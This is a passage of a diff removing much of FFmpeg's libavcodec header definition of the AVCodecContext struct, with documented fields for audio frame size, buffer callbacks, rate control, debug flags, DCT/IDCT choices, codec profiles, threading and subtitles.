- * Number of samples per channel in an audio frame. - * - * - encoding: set by libavcodec in avcodec_open2(). Each submitted frame - * except the last must contain exactly frame_size samples per channel. - * May be 0 when the codec has AV_CODEC_CAP_VARIABLE_FRAME_SIZE set, then the - * frame size is not restricted. - * - decoding: may be set by some decoders to indicate constant frame size - */ - int frame_size; - - /** - * Frame counter, set by libavcodec. - * - * - decoding: total number of frames returned from the decoder so far. - * - encoding: total number of frames passed to the encoder so far. - * - * @note the counter is not incremented if encoding/decoding resulted in - * an error. - */ - int frame_number; - - /** - * number of bytes per packet if constant and known or 0 - * Used by some WAV based audio codecs. - */ - int block_align; - - /** - * Audio cutoff bandwidth (0 means "automatic") - * - encoding: Set by user. - * - decoding: unused - */ - int cutoff; - - /** - * Audio channel layout. - * - encoding: set by user. - * - decoding: set by user, may be overwritten by libavcodec. - */ - uint64_t channel_layout; - - /** - * Request decoder to use this channel layout if it can (0 for default) - * - encoding: unused - * - decoding: Set by user. - */ - uint64_t request_channel_layout; - - /** - * Type of service that the audio stream conveys. - * - encoding: Set by user. - * - decoding: Set by libavcodec. - */ - enum AVAudioServiceType audio_service_type; - - /** - * desired sample format - * - encoding: Not used. - * - decoding: Set by user. - * Decoder will decode to this format if it can. - */ - enum AVSampleFormat request_sample_fmt; - - /** - * This callback is called at the beginning of each frame to get data - * buffer(s) for it. There may be one contiguous buffer for all the data or - * there may be a buffer per each data plane or anything in between. What - * this means is, you may set however many entries in buf[] you feel necessary. - * Each buffer must be reference-counted using the AVBuffer API (see description - * of buf[] below). - * - * The following fields will be set in the frame before this callback is - * called: - * - format - * - width, height (video only) - * - sample_rate, channel_layout, nb_samples (audio only) - * Their values may differ from the corresponding values in - * AVCodecContext. This callback must use the frame values, not the codec - * context values, to calculate the required buffer size. - * - * This callback must fill the following fields in the frame: - * - data[] - * - linesize[] - * - extended_data: - * * if the data is planar audio with more than 8 channels, then this - * callback must allocate and fill extended_data to contain all pointers - * to all data planes. data[] must hold as many pointers as it can. - * extended_data must be allocated with av_malloc() and will be freed in - * av_frame_unref(). - * * otherwise exended_data must point to data - * - buf[] must contain one or more pointers to AVBufferRef structures. Each of - * the frame's data and extended_data pointers must be contained in these. That - * is, one AVBufferRef for each allocated chunk of memory, not necessarily one - * AVBufferRef per data[] entry. See: av_buffer_create(), av_buffer_alloc(), - * and av_buffer_ref(). - * - extended_buf and nb_extended_buf must be allocated with av_malloc() by - * this callback and filled with the extra buffers if there are more - * buffers than buf[] can hold. extended_buf will be freed in - * av_frame_unref(). - * - * If AV_CODEC_CAP_DR1 is not set then get_buffer2() must call - * avcodec_default_get_buffer2() instead of providing buffers allocated by - * some other means. - * - * Each data plane must be aligned to the maximum required by the target - * CPU. - * - * @see avcodec_default_get_buffer2() - * - * Video: - * - * If AV_GET_BUFFER_FLAG_REF is set in flags then the frame may be reused - * (read and/or written to if it is writable) later by libavcodec. - * - * avcodec_align_dimensions2() should be used to find the required width and - * height, as they normally need to be rounded up to the next multiple of 16. - * - * Some decoders do not support linesizes changing between frames. - * - * If frame multithreading is used and thread_safe_callbacks is set, - * this callback may be called from a different thread, but not from more - * than one at once. Does not need to be reentrant. - * - * @see avcodec_align_dimensions2() - * - * Audio: - * - * Decoders request a buffer of a particular size by setting - * AVFrame.nb_samples prior to calling get_buffer2(). The decoder may, - * however, utilize only part of the buffer by setting AVFrame.nb_samples - * to a smaller value in the output frame. - * - * As a convenience, av_samples_get_buffer_size() and - * av_samples_fill_arrays() in libavutil may be used by custom get_buffer2() - * functions to find the required data size and to fill data pointers and - * linesize. In AVFrame.linesize, only linesize[0] may be set for audio - * since all planes must be the same size. - * - * @see av_samples_get_buffer_size(), av_samples_fill_arrays() - * - * - encoding: unused - * - decoding: Set by libavcodec, user can override. - */ - int (*get_buffer2)(struct AVCodecContext *s, AVFrame *frame, int flags); - - /** - * If non-zero, the decoded audio and video frames returned from - * avcodec_decode_video2() and avcodec_decode_audio4() are reference-counted - * and are valid indefinitely. The caller must free them with - * av_frame_unref() when they are not needed anymore. - * Otherwise, the decoded frames must not be freed by the caller and are - * only valid until the next decode call. - * - * - encoding: unused - * - decoding: set by the caller before avcodec_open2(). - */ - int refcounted_frames; - - /* - encoding parameters */ - float qcompress; ///< amount of qscale change between easy & hard scenes (0.0-1.0) - float qblur; ///< amount of qscale smoothing over time (0.0-1.0) - - /** - * minimum quantizer - * - encoding: Set by user. - * - decoding: unused - */ - int qmin; - - /** - * maximum quantizer - * - encoding: Set by user. - * - decoding: unused - */ - int qmax; - - /** - * maximum quantizer difference between frames - * - encoding: Set by user. - * - decoding: unused - */ - int max_qdiff; - -#if FF_API_MPV_OPT - /** - * @deprecated use encoder private options instead - */ - attribute_deprecated - float rc_qsquish; - - attribute_deprecated - float rc_qmod_amp; - attribute_deprecated - int rc_qmod_freq; -#endif - - /** - * decoder bitstream buffer size - * - encoding: Set by user. - * - decoding: unused - */ - int rc_buffer_size; - - /** - * ratecontrol override, see RcOverride - * - encoding: Allocated/set/freed by user. - * - decoding: unused - */ - int rc_override_count; - RcOverride *rc_override; - -#if FF_API_MPV_OPT - /** - * @deprecated use encoder private options instead - */ - attribute_deprecated - const char *rc_eq; -#endif - - /** - * maximum bitrate - * - encoding: Set by user. - * - decoding: Set by user, may be overwritten by libavcodec. - */ - int64_t rc_max_rate; - - /** - * minimum bitrate - * - encoding: Set by user. - * - decoding: unused - */ - int64_t rc_min_rate; - -#if FF_API_MPV_OPT - /** - * @deprecated use encoder private options instead - */ - attribute_deprecated - float rc_buffer_aggressivity; - - attribute_deprecated - float rc_initial_cplx; -#endif - - /** - * Ratecontrol attempt to use, at maximum, of what can be used without an underflow. - * - encoding: Set by user. - * - decoding: unused. - */ - float rc_max_available_vbv_use; - - /** - * Ratecontrol attempt to use, at least, times the amount needed to prevent a vbv overflow. - * - encoding: Set by user. - * - decoding: unused. - */ - float rc_min_vbv_overflow_use; - - /** - * Number of bits which should be loaded into the rc buffer before decoding starts. - * - encoding: Set by user. - * - decoding: unused - */ - int rc_initial_buffer_occupancy; - -#if FF_API_CODER_TYPE -#define FF_CODER_TYPE_VLC 0 -#define FF_CODER_TYPE_AC 1 -#define FF_CODER_TYPE_RAW 2 -#define FF_CODER_TYPE_RLE 3 -#if FF_API_UNUSED_MEMBERS -#define FF_CODER_TYPE_DEFLATE 4 -#endif /* FF_API_UNUSED_MEMBERS */ - /** - * @deprecated use encoder private options instead - */ - attribute_deprecated - int coder_type; -#endif /* FF_API_CODER_TYPE */ - -#if FF_API_PRIVATE_OPT - /** @deprecated use encoder private options instead */ - attribute_deprecated - int context_model; -#endif - -#if FF_API_MPV_OPT - /** - * @deprecated use encoder private options instead - */ - attribute_deprecated - int lmin; - - /** - * @deprecated use encoder private options instead - */ - attribute_deprecated - int lmax; -#endif - -#if FF_API_PRIVATE_OPT - /** @deprecated use encoder private options instead */ - attribute_deprecated - int frame_skip_threshold; - - /** @deprecated use encoder private options instead */ - attribute_deprecated - int frame_skip_factor; - - /** @deprecated use encoder private options instead */ - attribute_deprecated - int frame_skip_exp; - - /** @deprecated use encoder private options instead */ - attribute_deprecated - int frame_skip_cmp; -#endif /* FF_API_PRIVATE_OPT */ - - /** - * trellis RD quantization - * - encoding: Set by user. - * - decoding: unused - */ - int trellis; - -#if FF_API_PRIVATE_OPT - /** @deprecated use encoder private options instead */ - attribute_deprecated - int min_prediction_order; - - /** @deprecated use encoder private options instead */ - attribute_deprecated - int max_prediction_order; - - /** @deprecated use encoder private options instead */ - attribute_deprecated - int64_t timecode_frame_start; -#endif - -#if FF_API_RTP_CALLBACK - /** - * @deprecated unused - */ - /* The RTP callback: This function is called */ - /* every time the encoder has a packet to send. */ - /* It depends on the encoder if the data starts */ - /* with a Start Code (it should). H.263 does. */ - /* mb_nb contains the number of macroblocks */ - /* encoded in the RTP payload. */ - attribute_deprecated - void (*rtp_callback)(struct AVCodecContext *avctx, void *data, int size, int mb_nb); -#endif - -#if FF_API_PRIVATE_OPT - /** @deprecated use encoder private options instead */ - attribute_deprecated - int rtp_payload_size; /* The size of the RTP payload: the coder will */ - /* do its best to deliver a chunk with size */ - /* below rtp_payload_size, the chunk will start */ - /* with a start code on some codecs like H.263. */ - /* This doesn't take account of any particular */ - /* headers inside the transmitted RTP payload. */ -#endif - -#if FF_API_STAT_BITS - /* statistics, used for 2-pass encoding */ - attribute_deprecated - int mv_bits; - attribute_deprecated - int header_bits; - attribute_deprecated - int i_tex_bits; - attribute_deprecated - int p_tex_bits; - attribute_deprecated - int i_count; - attribute_deprecated - int p_count; - attribute_deprecated - int skip_count; - attribute_deprecated - int misc_bits; - - /** @deprecated this field is unused */ - attribute_deprecated - int frame_bits; -#endif - - /** - * pass1 encoding statistics output buffer - * - encoding: Set by libavcodec. - * - decoding: unused - */ - char *stats_out; - - /** - * pass2 encoding statistics input buffer - * Concatenated stuff from stats_out of pass1 should be placed here. - * - encoding: Allocated/set/freed by user. - * - decoding: unused - */ - char *stats_in; - - /** - * Work around bugs in encoders which sometimes cannot be detected automatically. - * - encoding: Set by user - * - decoding: Set by user - */ - int workaround_bugs; -#define FF_BUG_AUTODETECT 1 ///< autodetection -#if FF_API_OLD_MSMPEG4 -#define FF_BUG_OLD_MSMPEG4 2 -#endif -#define FF_BUG_XVID_ILACE 4 -#define FF_BUG_UMP4 8 -#define FF_BUG_NO_PADDING 16 -#define FF_BUG_AMV 32 -#if FF_API_AC_VLC -#define FF_BUG_AC_VLC 0 ///< Will be removed, libavcodec can now handle these non-compliant files by default. -#endif -#define FF_BUG_QPEL_CHROMA 64 -#define FF_BUG_STD_QPEL 128 -#define FF_BUG_QPEL_CHROMA2 256 -#define FF_BUG_DIRECT_BLOCKSIZE 512 -#define FF_BUG_EDGE 1024 -#define FF_BUG_HPEL_CHROMA 2048 -#define FF_BUG_DC_CLIP 4096 -#define FF_BUG_MS 8192 ///< Work around various bugs in Microsoft's broken decoders. -#define FF_BUG_TRUNCATED 16384 - - /** - * strictly follow the standard (MPEG4, ...). - * - encoding: Set by user. - * - decoding: Set by user. - * Setting this to STRICT or higher means the encoder and decoder will - * generally do stupid things, whereas setting it to unofficial or lower - * will mean the encoder might produce output that is not supported by all - * spec-compliant decoders. Decoders don't differentiate between normal, - * unofficial and experimental (that is, they always try to decode things - * when they can) unless they are explicitly asked to behave stupidly - * (=strictly conform to the specs) - */ - int strict_std_compliance; -#define FF_COMPLIANCE_VERY_STRICT 2 ///< Strictly conform to an older more strict version of the spec or reference software. -#define FF_COMPLIANCE_STRICT 1 ///< Strictly conform to all the things in the spec no matter what consequences. -#define FF_COMPLIANCE_NORMAL 0 -#define FF_COMPLIANCE_UNOFFICIAL -1 ///< Allow unofficial extensions -#define FF_COMPLIANCE_EXPERIMENTAL -2 ///< Allow nonstandardized experimental things. - - /** - * error concealment flags - * - encoding: unused - * - decoding: Set by user. - */ - int error_concealment; -#define FF_EC_GUESS_MVS 1 -#define FF_EC_DEBLOCK 2 -#define FF_EC_FAVOR_INTER 256 - - /** - * debug - * - encoding: Set by user. - * - decoding: Set by user. - */ - int debug; -#define FF_DEBUG_PICT_INFO 1 -#define FF_DEBUG_RC 2 -#define FF_DEBUG_BITSTREAM 4 -#define FF_DEBUG_MB_TYPE 8 -#define FF_DEBUG_QP 16 -#if FF_API_DEBUG_MV -/** - * @deprecated this option does nothing - */ -#define FF_DEBUG_MV 32 -#endif -#define FF_DEBUG_DCT_COEFF 0x00000040 -#define FF_DEBUG_SKIP 0x00000080 -#define FF_DEBUG_STARTCODE 0x00000100 -#if FF_API_UNUSED_MEMBERS -#define FF_DEBUG_PTS 0x00000200 -#endif /* FF_API_UNUSED_MEMBERS */ -#define FF_DEBUG_ER 0x00000400 -#define FF_DEBUG_MMCO 0x00000800 -#define FF_DEBUG_BUGS 0x00001000 -#if FF_API_DEBUG_MV -#define FF_DEBUG_VIS_QP 0x00002000 ///< only access through AVOptions from outside libavcodec -#define FF_DEBUG_VIS_MB_TYPE 0x00004000 ///< only access through AVOptions from outside libavcodec -#endif -#define FF_DEBUG_BUFFERS 0x00008000 -#define FF_DEBUG_THREADS 0x00010000 -#define FF_DEBUG_GREEN_MD 0x00800000 -#define FF_DEBUG_NOMC 0x01000000 - -#if FF_API_DEBUG_MV - /** - * debug - * Code outside libavcodec should access this field using AVOptions - * - encoding: Set by user. - * - decoding: Set by user. - */ - int debug_mv; -#define FF_DEBUG_VIS_MV_P_FOR 0x00000001 //visualize forward predicted MVs of P frames -#define FF_DEBUG_VIS_MV_B_FOR 0x00000002 //visualize forward predicted MVs of B frames -#define FF_DEBUG_VIS_MV_B_BACK 0x00000004 //visualize backward predicted MVs of B frames -#endif - - /** - * Error recognition; may misdetect some more or less valid parts as errors. - * - encoding: unused - * - decoding: Set by user. - */ - int err_recognition; - -/** - * Verify checksums embedded in the bitstream (could be of either encoded or - * decoded data, depending on the codec) and print an error message on mismatch. - * If AV_EF_EXPLODE is also set, a mismatching checksum will result in the - * decoder returning an error. - */ -#define AV_EF_CRCCHECK (1<<0) -#define AV_EF_BITSTREAM (1<<1) ///< detect bitstream specification deviations -#define AV_EF_BUFFER (1<<2) ///< detect improper bitstream length -#define AV_EF_EXPLODE (1<<3) ///< abort decoding on minor error detection - -#define AV_EF_IGNORE_ERR (1<<15) ///< ignore errors and continue -#define AV_EF_CAREFUL (1<<16) ///< consider things that violate the spec, are fast to calculate and have not been seen in the wild as errors -#define AV_EF_COMPLIANT (1<<17) ///< consider all spec non compliances as errors -#define AV_EF_AGGRESSIVE (1<<18) ///< consider things that a sane encoder should not do as an error - - - /** - * opaque 64bit number (generally a PTS) that will be reordered and - * output in AVFrame.reordered_opaque - * - encoding: unused - * - decoding: Set by user. - */ - int64_t reordered_opaque; - - /** - * Hardware accelerator in use - * - encoding: unused. - * - decoding: Set by libavcodec - */ - struct AVHWAccel *hwaccel; - - /** - * Hardware accelerator context. - * For some hardware accelerators, a global context needs to be - * provided by the user. In that case, this holds display-dependent - * data FFmpeg cannot instantiate itself. Please refer to the - * FFmpeg HW accelerator documentation to know how to fill this - * is. e.g. for VA API, this is a struct vaapi_context. - * - encoding: unused - * - decoding: Set by user - */ - void *hwaccel_context; - - /** - * error - * - encoding: Set by libavcodec if flags & AV_CODEC_FLAG_PSNR. - * - decoding: unused - */ - uint64_t error[AV_NUM_DATA_POINTERS]; - - /** - * DCT algorithm, see FF_DCT_* below - * - encoding: Set by user. - * - decoding: unused - */ - int dct_algo; -#define FF_DCT_AUTO 0 -#define FF_DCT_FASTINT 1 -#define FF_DCT_INT 2 -#define FF_DCT_MMX 3 -#define FF_DCT_ALTIVEC 5 -#define FF_DCT_FAAN 6 - - /** - * IDCT algorithm, see FF_IDCT_* below. - * - encoding: Set by user. - * - decoding: Set by user. - */ - int idct_algo; -#define FF_IDCT_AUTO 0 -#define FF_IDCT_INT 1 -#define FF_IDCT_SIMPLE 2 -#define FF_IDCT_SIMPLEMMX 3 -#define FF_IDCT_ARM 7 -#define FF_IDCT_ALTIVEC 8 -#if FF_API_ARCH_SH4 -#define FF_IDCT_SH4 9 -#endif -#define FF_IDCT_SIMPLEARM 10 -#if FF_API_UNUSED_MEMBERS -#define FF_IDCT_IPP 13 -#endif /* FF_API_UNUSED_MEMBERS */ -#define FF_IDCT_XVID 14 -#if FF_API_IDCT_XVIDMMX -#define FF_IDCT_XVIDMMX 14 -#endif /* FF_API_IDCT_XVIDMMX */ -#define FF_IDCT_SIMPLEARMV5TE 16 -#define FF_IDCT_SIMPLEARMV6 17 -#if FF_API_ARCH_SPARC -#define FF_IDCT_SIMPLEVIS 18 -#endif -#define FF_IDCT_FAAN 20 -#define FF_IDCT_SIMPLENEON 22 -#if FF_API_ARCH_ALPHA -#define FF_IDCT_SIMPLEALPHA 23 -#endif -#define FF_IDCT_SIMPLEAUTO 128 - - /** - * bits per sample/pixel from the demuxer (needed for huffyuv). - * - encoding: Set by libavcodec. - * - decoding: Set by user. - */ - int bits_per_coded_sample; - - /** - * Bits per sample/pixel of internal libavcodec pixel/sample format. - * - encoding: set by user. - * - decoding: set by libavcodec. - */ - int bits_per_raw_sample; - -#if FF_API_LOWRES - /** - * low resolution decoding, 1-> 1/2 size, 2->1/4 size - * - encoding: unused - * - decoding: Set by user. - * Code outside libavcodec should access this field using: - * av_codec_{get,set}_lowres(avctx) - */ - int lowres; -#endif - -#if FF_API_CODED_FRAME - /** - * the picture in the bitstream - * - encoding: Set by libavcodec. - * - decoding: unused - * - * @deprecated use the quality factor packet side data instead - */ - attribute_deprecated AVFrame *coded_frame; -#endif - - /** - * thread count - * is used to decide how many independent tasks should be passed to execute() - * - encoding: Set by user. - * - decoding: Set by user. - */ - int thread_count; - - /** - * Which multithreading methods to use. - * Use of FF_THREAD_FRAME will increase decoding delay by one frame per thread, - * so clients which cannot provide future frames should not use it. - * - * - encoding: Set by user, otherwise the default is used. - * - decoding: Set by user, otherwise the default is used. - */ - int thread_type; -#define FF_THREAD_FRAME 1 ///< Decode more than one frame at once -#define FF_THREAD_SLICE 2 ///< Decode more than one part of a single frame at once - - /** - * Which multithreading methods are in use by the codec. - * - encoding: Set by libavcodec. - * - decoding: Set by libavcodec. - */ - int active_thread_type; - - /** - * Set by the client if its custom get_buffer() callback can be called - * synchronously from another thread, which allows faster multithreaded decoding. - * draw_horiz_band() will be called from other threads regardless of this setting. - * Ignored if the default get_buffer() is used. - * - encoding: Set by user. - * - decoding: Set by user. - */ - int thread_safe_callbacks; - - /** - * The codec may call this to execute several independent things. - * It will return only after finishing all tasks. - * The user may replace this with some multithreaded implementation, - * the default implementation will execute the parts serially. - * @param count the number of things to execute - * - encoding: Set by libavcodec, user can override. - * - decoding: Set by libavcodec, user can override. - */ - int (*execute)(struct AVCodecContext *c, int (*func)(struct AVCodecContext *c2, void *arg), void *arg2, int *ret, int count, int size); - - /** - * The codec may call this to execute several independent things. - * It will return only after finishing all tasks. - * The user may replace this with some multithreaded implementation, - * the default implementation will execute the parts serially. - * Also see avcodec_thread_init and e.g. the --enable-pthread configure option. - * @param c context passed also to func - * @param count the number of things to execute - * @param arg2 argument passed unchanged to func - * @param ret return values of executed functions, must have space for "count" values. May be NULL. - * @param func function that will be called count times, with jobnr from 0 to count-1. - * threadnr will be in the range 0 to c->thread_count-1 < MAX_THREADS and so that no - * two instances of func executing at the same time will have the same threadnr. - * @return always 0 currently, but code should handle a future improvement where when any call to func - * returns < 0 no further calls to func may be done and < 0 is returned. - * - encoding: Set by libavcodec, user can override. - * - decoding: Set by libavcodec, user can override. - */ - int (*execute2)(struct AVCodecContext *c, int (*func)(struct AVCodecContext *c2, void *arg, int jobnr, int threadnr), void *arg2, int *ret, int count); - - /** - * noise vs. sse weight for the nsse comparison function - * - encoding: Set by user. - * - decoding: unused - */ - int nsse_weight; - - /** - * profile - * - encoding: Set by user. - * - decoding: Set by libavcodec. - */ - int profile; -#define FF_PROFILE_UNKNOWN -99 -#define FF_PROFILE_RESERVED -100 - -#define FF_PROFILE_AAC_MAIN 0 -#define FF_PROFILE_AAC_LOW 1 -#define FF_PROFILE_AAC_SSR 2 -#define FF_PROFILE_AAC_LTP 3 -#define FF_PROFILE_AAC_HE 4 -#define FF_PROFILE_AAC_HE_V2 28 -#define FF_PROFILE_AAC_LD 22 -#define FF_PROFILE_AAC_ELD 38 -#define FF_PROFILE_MPEG2_AAC_LOW 128 -#define FF_PROFILE_MPEG2_AAC_HE 131 - -#define FF_PROFILE_DTS 20 -#define FF_PROFILE_DTS_ES 30 -#define FF_PROFILE_DTS_96_24 40 -#define FF_PROFILE_DTS_HD_HRA 50 -#define FF_PROFILE_DTS_HD_MA 60 -#define FF_PROFILE_DTS_EXPRESS 70 - -#define FF_PROFILE_MPEG2_422 0 -#define FF_PROFILE_MPEG2_HIGH 1 -#define FF_PROFILE_MPEG2_SS 2 -#define FF_PROFILE_MPEG2_SNR_SCALABLE 3 -#define FF_PROFILE_MPEG2_MAIN 4 -#define FF_PROFILE_MPEG2_SIMPLE 5 - -#define FF_PROFILE_H264_CONSTRAINED (1<<9) // 8+1; constraint_set1_flag -#define FF_PROFILE_H264_INTRA (1<<11) // 8+3; constraint_set3_flag - -#define FF_PROFILE_H264_BASELINE 66 -#define FF_PROFILE_H264_CONSTRAINED_BASELINE (66|FF_PROFILE_H264_CONSTRAINED) -#define FF_PROFILE_H264_MAIN 77 -#define FF_PROFILE_H264_EXTENDED 88 -#define FF_PROFILE_H264_HIGH 100 -#define FF_PROFILE_H264_HIGH_10 110 -#define FF_PROFILE_H264_HIGH_10_INTRA (110|FF_PROFILE_H264_INTRA) -#define FF_PROFILE_H264_HIGH_422 122 -#define FF_PROFILE_H264_HIGH_422_INTRA (122|FF_PROFILE_H264_INTRA) -#define FF_PROFILE_H264_HIGH_444 144 -#define FF_PROFILE_H264_HIGH_444_PREDICTIVE 244 -#define FF_PROFILE_H264_HIGH_444_INTRA (244|FF_PROFILE_H264_INTRA) -#define FF_PROFILE_H264_CAVLC_444 44 - -#define FF_PROFILE_VC1_SIMPLE 0 -#define FF_PROFILE_VC1_MAIN 1 -#define FF_PROFILE_VC1_COMPLEX 2 -#define FF_PROFILE_VC1_ADVANCED 3 - -#define FF_PROFILE_MPEG4_SIMPLE 0 -#define FF_PROFILE_MPEG4_SIMPLE_SCALABLE 1 -#define FF_PROFILE_MPEG4_CORE 2 -#define FF_PROFILE_MPEG4_MAIN 3 -#define FF_PROFILE_MPEG4_N_BIT 4 -#define FF_PROFILE_MPEG4_SCALABLE_TEXTURE 5 -#define FF_PROFILE_MPEG4_SIMPLE_FACE_ANIMATION 6 -#define FF_PROFILE_MPEG4_BASIC_ANIMATED_TEXTURE 7 -#define FF_PROFILE_MPEG4_HYBRID 8 -#define FF_PROFILE_MPEG4_ADVANCED_REAL_TIME 9 -#define FF_PROFILE_MPEG4_CORE_SCALABLE 10 -#define FF_PROFILE_MPEG4_ADVANCED_CODING 11 -#define FF_PROFILE_MPEG4_ADVANCED_CORE 12 -#define FF_PROFILE_MPEG4_ADVANCED_SCALABLE_TEXTURE 13 -#define FF_PROFILE_MPEG4_SIMPLE_STUDIO 14 -#define FF_PROFILE_MPEG4_ADVANCED_SIMPLE 15 - -#define FF_PROFILE_JPEG2000_CSTREAM_RESTRICTION_0 0 -#define FF_PROFILE_JPEG2000_CSTREAM_RESTRICTION_1 1 -#define FF_PROFILE_JPEG2000_CSTREAM_NO_RESTRICTION 2 -#define FF_PROFILE_JPEG2000_DCINEMA_2K 3 -#define FF_PROFILE_JPEG2000_DCINEMA_4K 4 - -#define FF_PROFILE_VP9_0 0 -#define FF_PROFILE_VP9_1 1 -#define FF_PROFILE_VP9_2 2 -#define FF_PROFILE_VP9_3 3 - -#define FF_PROFILE_HEVC_MAIN 1 -#define FF_PROFILE_HEVC_MAIN_10 2 -#define FF_PROFILE_HEVC_MAIN_STILL_PICTURE 3 -#define FF_PROFILE_HEVC_REXT 4 - - /** - * level - * - encoding: Set by user. - * - decoding: Set by libavcodec. - */ - int level; -#define FF_LEVEL_UNKNOWN -99 - - /** - * Skip loop filtering for selected frames. - * - encoding: unused - * - decoding: Set by user. - */ - enum AVDiscard skip_loop_filter; - - /** - * Skip IDCT/dequantization for selected frames. - * - encoding: unused - * - decoding: Set by user. - */ - enum AVDiscard skip_idct; - - /** - * Skip decoding for selected frames. - * - encoding: unused - * - decoding: Set by user. - */ - enum AVDiscard skip_frame; - - /** - * Header containing style information for text subtitles. - * For SUBTITLE_ASS subtitle type, it should contain the whole ASS - * [Script Info] and [V4+ Styles] section, plus the [Events] line and - * the Format line following. It shouldn't include any Dialogue line. - * - encoding: Set/allocated/freed by user (before avcodec_open2()) - * - decoding: Set/allocated/freed by libavcodec (by avcodec_open2()) - */ - uint8_t *subtitle_header; - int subtitle_header_size; - -#if FF_API_ERROR_RATE - /** - * @deprecated use the 'error_rate' private AVOption of the mpegvideo - * encoders - */ - attribute_deprecated - int error_rate; -#endif - -#if FF_API_VBV_DELAY - /** - * VBV delay coded in the last frame (in periods of a 27 MHz clock). - * Used for compliant TS muxing. - * - encoding: Set by libavcodec. - * - decoding: unused. - * @deprecated this value is now exported as a part of - * AV_PKT_DATA_CPB_PROPERTIES packet side data - */ - attribute_deprecated - uint64_t vbv_delay; -#endif - -#if FF_API_SIDEDATA_ONLY_PKT - /** - * Encoding only and set by default. Allow encoders to output packets - * that do not contain any encoded data, only side data. - * - * Some encoders need to output such packets, e.g. to update some stream - * parameters at the end of encoding. - * - * @deprecated this field disables the default behaviour and - * it is kept only for compatibility. - */ - attribute_deprecated - int side_data_only_packets; -#endif - - /** - * Audio only. The number of "priming" samples (padding) inserted by the - * encoder at the beginning of the audio. I.e. this number of leading - * decoded samples must be discarded by the caller to get the original audio - * without leading padding. - * - * - decoding: unused - * - encoding: Set by libavcodec. The timestamps on the output packets are - * adjusted by the encoder so that they always refer to the - * first sample of the data actually contained in the packet, - * including any added padding. E.g. if the timebase is - * 1/samplerate and the timestamp of the first input sample is - * 0, the timestamp of the first output packet will be - * -initial_padding. - */ - int initial_padding; - - /** - * - decoding: For codecs that store a framerate value in the compressed - * bitstream, the decoder may export it here. { 0, 1} when - * unknown. - * - encoding: unused - */ - AVRational framerate; - - /** - * Nominal unaccelerated pixel format, see AV_PIX_FMT_xxx. - * - encoding: unused. - * - decoding: Set by libavcodec before calling get_format() - */ - enum AVPixelFormat sw_pix_fmt; - - /** - * Timebase in which pkt_dts/pts and AVPacket.dts/pts are. - * Code outside libavcodec should access this field using: - * av_codec_{get,set}_pkt_timebase(avctx) - * - encoding unused. - * - decoding set by user. - */ - AVRational pkt_timebase; - - /** - * AVCodecDescriptor - * Code outside libavcodec should access this field using: - * av_codec_{get,set}_codec_descriptor(avctx) - * - encoding: unused. - * - decoding: set by libavcodec. - */ - const AVCodecDescriptor *codec_descriptor; - -#if !FF_API_LOWRES - /** - * low resolution decoding, 1-> 1/2 size, 2->1/4 size - * - encoding: unused - * - decoding: Set by user. - * Code outside libavcodec should access this field using: - * av_codec_{get,set}_lowres(avctx) - */ - int lowres; -#endif - - /** - * Current statistics for PTS correction. - * - decoding: maintained and used by libavcodec, not intended to be used by user apps - * - encoding: unused - */ - int64_t pts_correction_num_faulty_pts; /// Number of incorrect PTS values so far - int64_t pts_correction_num_faulty_dts; /// Number of incorrect DTS values so far - int64_t pts_correction_last_pts; /// PTS of the last frame - int64_t pts_correction_last_dts; /// DTS of the last frame - - /** - * Character encoding of the input subtitles file. - * - decoding: set by user - * - encoding: unused - */ - char *sub_charenc; - - /** - * Subtitles character encoding mode. Formats or codecs might be adjusting - * this setting (if they are doing the conversion themselves for instance). - * - decoding: set by libavcodec - * - encoding: unused - */ - int sub_charenc_mode; -#define FF_SUB_CHARENC_MODE_DO_NOTHING -1 ///< do nothing (demuxer outputs a stream supposed to be already in UTF-8, or the codec is bitmap for instance) -#define FF_SUB_CHARENC_MODE_AUTOMATIC 0 ///< libavcodec will select the mode itself -#define FF_SUB_CHARENC_MODE_PRE_DECODER 1 ///< the AVPacket data needs to be recoded to UTF-8 before being fed to the decoder, requires iconv - - /** - * Skip processing alpha if supported by codec. - * Note that if the format uses pre-multiplied alpha (common with VP6, - * and recommended due to better video quality/compression) - * the image will look as if alpha-blended onto a black background. - * However for formats that do not use pre-multiplied alpha - * there might be serious artefacts (though e.g. libswscale currently - * assumes pre-multiplied alpha anyway). - * Code outside libavcodec should access this field using AVOptions - * - * - decoding: set by user - * - encoding: unused - */ - int skip_alpha; - - /** - * Number of samples to skip after a discontinuity - * - decoding: unused - * - encoding: set by libavcodec - */ - int seek_preroll; - -#if !FF_API_DEBUG_MV - /** - * debug motion vectors - * Code outside libavcodec should access this field using AVOptions - * - encoding: Set by user. - * - decoding: Set by user. - */ - int debug_mv; -#define FF_DEBUG_VIS_MV_P_FOR 0x00000001 //visualize forward predicted MVs of P frames -#define FF_DEBUG_VIS_MV_B_FOR 0x00000002 //visualize forward predicted MVs of B frames -#define FF_DEBUG_VIS_MV_B_BACK 0x00000004 //visualize backward predicted MVs of B frames -#endif - - /** - * custom intra quantization matrix - * Code outside libavcodec should access this field using av_codec_g/set_chroma_intra_matrix() - * - encoding: Set by user, can be NULL. - * - decoding: unused. - */ - uint16_t *chroma_intra_matrix; - - /** - * dump format separator. - * can be ", " or "\n " or anything else - * Code outside libavcodec should access this field using AVOptions - * (NO direct access). - * - encoding: Set by user. - * - decoding: Set by user. - */ - uint8_t *dump_separator; - - /** - * ',' separated list of allowed decoders. - * If NULL then all are allowed - * - encoding: unused - * - decoding: set by user through AVOPtions (NO direct access) - */ - char *codec_whitelist; - - /* - * Properties of the stream that gets decoded - * To be accessed through av_codec_get_properties() (NO direct access) - * - encoding: unused - * - decoding: set by libavcodec - */ - unsigned properties; -#define FF_CODEC_PROPERTY_LOSSLESS 0x00000001 -#define FF_CODEC_PROPERTY_CLOSED_CAPTIONS 0x00000002 - - /** - * Additional data associated with the entire coded stream. - * - * - decoding: unused - * - encoding: may be set by libavcodec after avcodec_open2(). - */ - AVPacketSideData *coded_side_data; - int nb_coded_side_data; - -} AVCodecContext; - -AVRational av_codec_get_pkt_timebase (const AVCodecContext *avctx); -void av_codec_set_pkt_timebase (AVCodecContext *avctx, AVRational val); - -const AVCodecDescriptor *av_codec_get_codec_descriptor(const AVCodecContext *avctx); -void av_codec_set_codec_descriptor(AVCodecContext *avctx, const AVCodecDescriptor *desc); - -unsigned av_codec_get_codec_properties(const AVCodecContext *avctx); - -int av_codec_get_lowres(const AVCodecContext *avctx); -void av_codec_set_lowres(AVCodecContext *avctx, int val); - -int av_codec_get_seek_preroll(const AVCodecContext *avctx); -void av_codec_set_seek_preroll(AVCodecContext *avctx, int val); - -uint16_t *av_codec_get_chroma_intra_matrix(const 